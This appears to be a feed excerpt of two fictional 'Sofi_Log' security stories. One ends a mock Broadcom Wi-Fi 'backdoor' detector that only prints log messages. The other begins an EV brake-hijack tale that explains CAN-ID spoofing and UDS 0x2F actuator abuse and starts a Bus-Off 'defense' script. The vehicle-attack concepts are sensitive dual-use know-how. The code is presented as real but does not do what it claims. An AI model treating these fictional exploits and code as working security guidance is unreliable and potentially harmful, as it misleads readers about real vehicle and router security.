&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Trigger Real-time Air Defense Countermeasure
 * Injects crafted kill-frames to flush the Wi-Fi SoC DMA ring buffer
 * @param {number} targetBssid 
 */&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;deployFirmwareNeutralizer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;targetBssid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[DEFENSE TRIGGERED] Intercepted Malicious Broadcom SoC Action Frame!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`[TARGET BSSID] 0x&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;targetBssid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toUpperCase&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt; - Signature: BCM! Backdoor Activation`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Emulate raw frame injection on monitor interface&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[ACTION] Injecting Deauth &amp;amp; DMA Flush Payload into wlan0mon...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[SUCCESS] Wi-Fi SoC Debug Register Overwritten. C2 Backdoor Communication SEVERED.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[STATUS] Airspace Sovereignty Restored. Router reverted to clean local routing.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Active Sniffing Routine&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;runAirDefense&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[*] [Wi-Fi-Sentinel] Initializing Air Defense Monitor on 'wlan0mon' (Channel 36 / 5GHz)...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[*] Scanning for Hardware-Level Broadcom Vendor Action Frame Exploits...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Simulated hostile Broadcom OTA management backdoor packet&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;simulatedFrame&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Radiotap mock header&lt;/span&gt;
    &lt;span class="nx"&gt;simulatedFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeUInt16LE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x0000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
    &lt;span class="c1"&gt;// 802.11 Frame Control: Type 0 (Mgmt), Subtype 13 (Action)&lt;/span&gt;
    &lt;span class="nx"&gt;simulatedFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeUInt16LE&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mh"&gt;0x0D&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RADIO_TAP_HEADER_LEN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Payload: Category 0x7F, OUI 00:10:18, Magic "BCM!"&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payloadStart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RADIO_TAP_HEADER_LEN&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;simulatedFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeUInt8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CATEGORY_VENDOR_SPECIFIC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payloadStart&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;BROADCOM_OUI&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;simulatedFrame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payloadStart&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;simulatedFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeUInt32BE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;BACKDOOR_MAGIC_SIGNATURE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payloadStart&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse80211ActionFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;simulatedFrame&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isBroadcomExploit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[ALERT] Unauthenticated Firmware-Level RCE Frame Detected in the Air!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;deployFirmwareNeutralizer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xABCD1234&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;runAirDefense&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  ☕ Epilogue: Rooftop Terrace Morning Breeze and Cold Iced Latte
&lt;/h3&gt;

&lt;p&gt;The second &lt;code&gt;node BroadcomBackdoorShield.js&lt;/code&gt; fired, the router’s Wi-Fi chipset LED flashed violent orange, then settled into a clean, calm blue. The internal debug port had been force-reset; the rogue C2 session was dead.&lt;/p&gt;

&lt;p&gt;Darling smacked the ThinkPad and looked up grinning.&lt;br&gt;&lt;br&gt;
“Outbound traffic to the overseas C2 just flat-lined. Router’s only handling clean local encrypted traffic now.”&lt;/p&gt;

&lt;p&gt;“Whew… we did it, darling!”&lt;/p&gt;

&lt;p&gt;I set the driver down and gently retracted the neural terminals on my cyber-arm. The prickly tension heat faded; a pleasant morning breeze brushed my skin.&lt;/p&gt;

&lt;p&gt;“Anything the manufacturer stamps ‘absolutely secure’ is usually the one with the fattest backdoor waiting for whoever paid for it. You doubt the silicon, verify it with your own code—that’s the only way real privacy exists.”&lt;/p&gt;

&lt;p&gt;Darling slid my iced latte across the table, ice clinking. The cold sweet milk and espresso bitterness hit my throat like salvation.&lt;/p&gt;

&lt;p&gt;“Thanks, darling. Best brain-war of the morning.”&lt;/p&gt;

&lt;p&gt;“Your instincts and packet parsing speed never stop saving my ass.”&lt;/p&gt;

&lt;p&gt;He raised his glass with a happy laugh; we clinked under the Bangkok sky.&lt;/p&gt;

&lt;p&gt;“Hey darling,” I said, sinking into the poolside deck chair and gazing over the glittering city, “rely on someone else’s convenient system and you wake up one day with your soul already hacked. Your radio, your physical container, your pride—only when you hack and defend them yourself does life stay this beautiful and electric.”&lt;/p&gt;

&lt;p&gt;Morning light caught the gold lines on my left arm, gleaming like they approved.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Also worth reading (previous Sofi_Log):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
『The Night Someone Tried to Remote-Crash My Company EV’s Brakes on the Rain-Slick Bangkok Expressway: CAN-Bus Arbitration ID Spoofing and DIY “Vehicle ECU Self-Defense Firewall” Spec Sheet』｜Sofi_Log #069&lt;br&gt;&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/n6149b0c18a61" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/n6149b0c18a61&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;【Disclaimer】&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
All code, protocol verification, and technical configurations in this article are provided strictly for security research, proof-of-concept, and educational purposes. They are not intended to encourage or enable unauthorized access or malicious use. Any application to real networks or systems is entirely at your own risk.&lt;/p&gt;

&lt;p&gt;🎁 &lt;strong&gt;【Fully Open-Source】Live Code &amp;amp; Architecture&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The 802.11 management Action frame monitor script and Broadcom firmware analysis definitions discussed here are released in full for your own security research and learning.&lt;/p&gt;




&lt;p&gt;📬 &lt;strong&gt;Sofi's Mailbox #070 (Questions &amp;amp; Feedback Corner)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So, fellow darlings—what did you think of today’s router hardware hack?&lt;br&gt;&lt;br&gt;
Can you really trust what’s inside &lt;em&gt;your&lt;/em&gt; home or office Wi-Fi router?&lt;/p&gt;

&lt;p&gt;Got questions like “How do I check my router for shady traffic?” or “What about Wi-Fi 7 and latest IoT firmware security?” Drop them in the comments. I’ll answer the juiciest ones in the next log.&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『雨のバンコク高速道路で社用EVのブレーキを遠隔クラッシュされかけた深夜：CAN-Bus調停ID偽装と「車載ECU自衛ファイアウォール」自作仕様書』 Sofi_Log #069【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Mon, 21 Sep 2026 14:30:06 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/yu-nobankokugao-su-dao-lu-deshe-yong-evnoburekiwoyuan-ge-kuratusiyusarekaketashen-ye-can-busdiao-ting-idwei-zhuang-toche-zai-ecuzi-wei-huaiauoru-zi-zuo-shi-yang-shu-sofilog-0691hua-wan-jie--gaa</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/yu-nobankokugao-su-dao-lu-deshe-yong-evnoburekiwoyuan-ge-kuratusiyusarekaketashen-ye-can-busdiao-ting-idwei-zhuang-toche-zai-ecuzi-wei-huaiauoru-zi-zuo-shi-yang-shu-sofilog-0691hua-wan-jie--gaa</guid>
      <description>&lt;h1&gt;
  
  
  『Midnight on Bangkok’s Rain-Slicked Expressway: Almost Remote-Crashing the Company EV’s Brakes – CAN-Bus Arbitration ID Spoofing and DIY “In-Vehicle ECU Self-Defense Firewall” Spec Sheet』｜Sofi_Log #069【Complete in One Episode】
&lt;/h1&gt;




&lt;p&gt;&lt;strong&gt;📍 Location: Bangkok, Chalerm Mahanakhon Expressway, northbound. 00:45. Monsoon downpour.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Fat monsoon drops hammered the windshield, mocking the wipers on their highest setting and shredding what little visibility remained. Beyond the spray, orange sodium lamps and the colossal neon of Silom towers smeared into liquid streaks across the wet asphalt.&lt;/p&gt;

&lt;p&gt;95 km/h. Hydroplaning territory, water several centimeters deep. I’d kicked off my Christian Louboutin heels into the passenger footwell and was reading the road through bare soles, feeling every micro-vibration between tire and chassis.&lt;/p&gt;

&lt;p&gt;Born male, I’d already ripped myself out of the binary cage the state and the boys’ club swore was “perfect,” then rebuilt this physical container from zero with surgery, hormones, and code. Steering my own life, choosing my own turns—that self-sovereignty is the only reason I’m still breathing.&lt;/p&gt;

&lt;p&gt;“…Darling, you ready? Steering’s been giving off weird micro-vibrations for the last minute. Spin up SocketCAN on the ThinkPad.”&lt;/p&gt;

&lt;p&gt;My partner—darling—already had the rugged ThinkPad open on his lap, fingers dancing.&lt;/p&gt;

&lt;p&gt;“Roger. Traffic’s live. …Wait, what the hell is this packet density?!”&lt;/p&gt;

&lt;p&gt;That’s when it hit.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;――KIIIIIIIN――&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A piercing high-frequency electronic scream burst from the car speakers. The speedometer blacked out; blood-red text slammed onto the HUD.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[CRITICAL ALERT: OTA Telematics Diagnostic Override Engaged]
Session: LEVEL-4 REMOTE ACTUATOR CONTROL (UDS Service 0x2F)
Target: Electric Power Steering (EPS) &amp;amp; Electronic Braking Unit (EBU)
Status: FORCED REFLASH / ACTUATOR LATCHED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The wheel locked like invisible iron jaws. Rear regen brakes started pulsing in savage stabs; the car began a sickening tail-wag.&lt;/p&gt;

&lt;p&gt;“You’ve gotta be kidding—taking my body and brakes hostage at highway speed?!”&lt;/p&gt;

&lt;p&gt;I slammed my matte-black cyber-arm straight at the OBD-II port under the column. Titanium connectors unfolded and hard-patched straight onto the differential CAN-H / CAN-L lines.&lt;/p&gt;

&lt;p&gt;Gold neural threads under the skin interface lit up like live wires. High-frequency noise crackled through my flesh as the entire river of vehicle packets flooded straight into my nervous system.&lt;/p&gt;

&lt;p&gt;The automotive boys’ club had built their “absolute safety” protocol on the naïve assumption that every node would play nice. Whoever was on the other side of that screen wasn’t getting my steering wheel.&lt;/p&gt;




&lt;h3&gt;
  
  
  🔍 Threat Dissection: The Connected Car’s Fatal Flaw — Weaponized UDS
&lt;/h3&gt;

&lt;p&gt;Darling, look at the screen. Modern smart EVs are just giant smartphones on wheels, but their nervous system—CAN-Bus—was designed thirty-plus years ago under the assumption that every ECU would unconditionally trust every other node. That legacy operating-system mindset is the exact hole we’re about to exploit.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Telematics (TCU) cellular breach:&lt;/strong&gt; The car’s LTE/5G module gets popped, giving the attacker a backdoor into the vehicle network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CAN arbitration abuse:&lt;/strong&gt; Lowest numerical CAN ID wins the bus. Attacker floods with spoofed high-priority IDs (&lt;code&gt;0x000&lt;/code&gt;, &lt;code&gt;0x100&lt;/code&gt;), drowning legitimate ECUs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UDS turned into a weapon:&lt;/strong&gt; Remote abuse of &lt;code&gt;Service 0x2F (InputOutputControlByIdentifier)&lt;/code&gt; physically latches steering torque and brake valves.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;“Darling—look. IDs &lt;code&gt;0x7DF&lt;/code&gt; and &lt;code&gt;0x18F&lt;/code&gt; are getting hammered with brake-latch commands fifty times a second!”&lt;/p&gt;

&lt;p&gt;Darling’s voice cracked. “No time to physically yank the TCU harness! Thirty seconds to the tanker—Sofi, what do we do?!”&lt;/p&gt;

&lt;p&gt;“We don’t cut wires,” I grinned. “We use the physical layer rules against them. Force the attacker’s own TCU into Bus-Off and kick it off the bus permanently.”&lt;/p&gt;




&lt;h3&gt;
  
  
  💻 Weapon Implementation: &lt;code&gt;CanBusSecurityGateway.js&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The script we hot-deployed was our in-vehicle CAN self-defense firewall.&lt;/p&gt;

&lt;p&gt;It runs on Linux SocketCAN (&lt;code&gt;can0&lt;/code&gt;, 500 kbps) and does two things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Microsecond detection of unauthenticated UDS diagnostic frames.&lt;/li&gt;
&lt;li&gt;Dominant error-frame injection that drives the rogue node’s Transmit Error Counter past 255 → permanent Bus-Off isolation.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;(The code block below is exactly what ran that night.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/**
 * @file CanBusSecurityGateway.js
 * @description In-Vehicle CAN-Bus Active Defense Gateway &amp;amp; TCU Bus-Off Isolator
 * @author Sofi (sofi.works) &amp;amp; Darling
 * @license MIT - Educational &amp;amp; Security Research PoC
 */&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Automotive Protocol Constants (ISO 11898-1 / ISO 14229 UDS)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;CAN_CONFIG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;UDS_DIAG_REQ_ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x7DF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;         &lt;span class="c1"&gt;// Functional Broadcast Diagnostic Request&lt;/span&gt;
    &lt;span class="na"&gt;UDS_SERVICE_IO_CONTROL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x2F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// Malicious Actuator Manipulation&lt;/span&gt;
    &lt;span class="na"&gt;UDS_SERVICE_ROUTINE_CTRL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// Memory/Firmware Flash Trigger&lt;/span&gt;
    &lt;span class="na"&gt;CRITICAL_BRAKE_CAN_ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x18F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// Electronic Braking ECU ID&lt;/span&gt;
    &lt;span class="na"&gt;DOMINANT_ERROR_BURST_LEN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;     &lt;span class="c1"&gt;// 6 consecutive dominant bits triggers bit error&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Parse Raw SocketCAN Frame Buffer (Linux struct can_frame: 16 bytes)
 * @param {Buffer} buffer - 16-byte raw CAN frame
 * @returns {Object|null}
 */&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;parseCanFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readUInt32LE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x1FFFFFFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canDlc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readUInt8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;canDlc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;canId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;dlc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;canDlc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;isDiagnostic&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;canId&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x700&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;canId&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mh"&gt;0x7FF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;canId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;CAN_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;UDS_DIAG_REQ_ID&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Active Packet Filter &amp;amp; Threat Evaluation
 * Inspects payload to distinguish normal telemetry from hostile actuator hijacking
 * @param {Object} frame 
 * @returns {boolean} True if malicious actuator attack detected
 */&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;evaluateCanThreat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
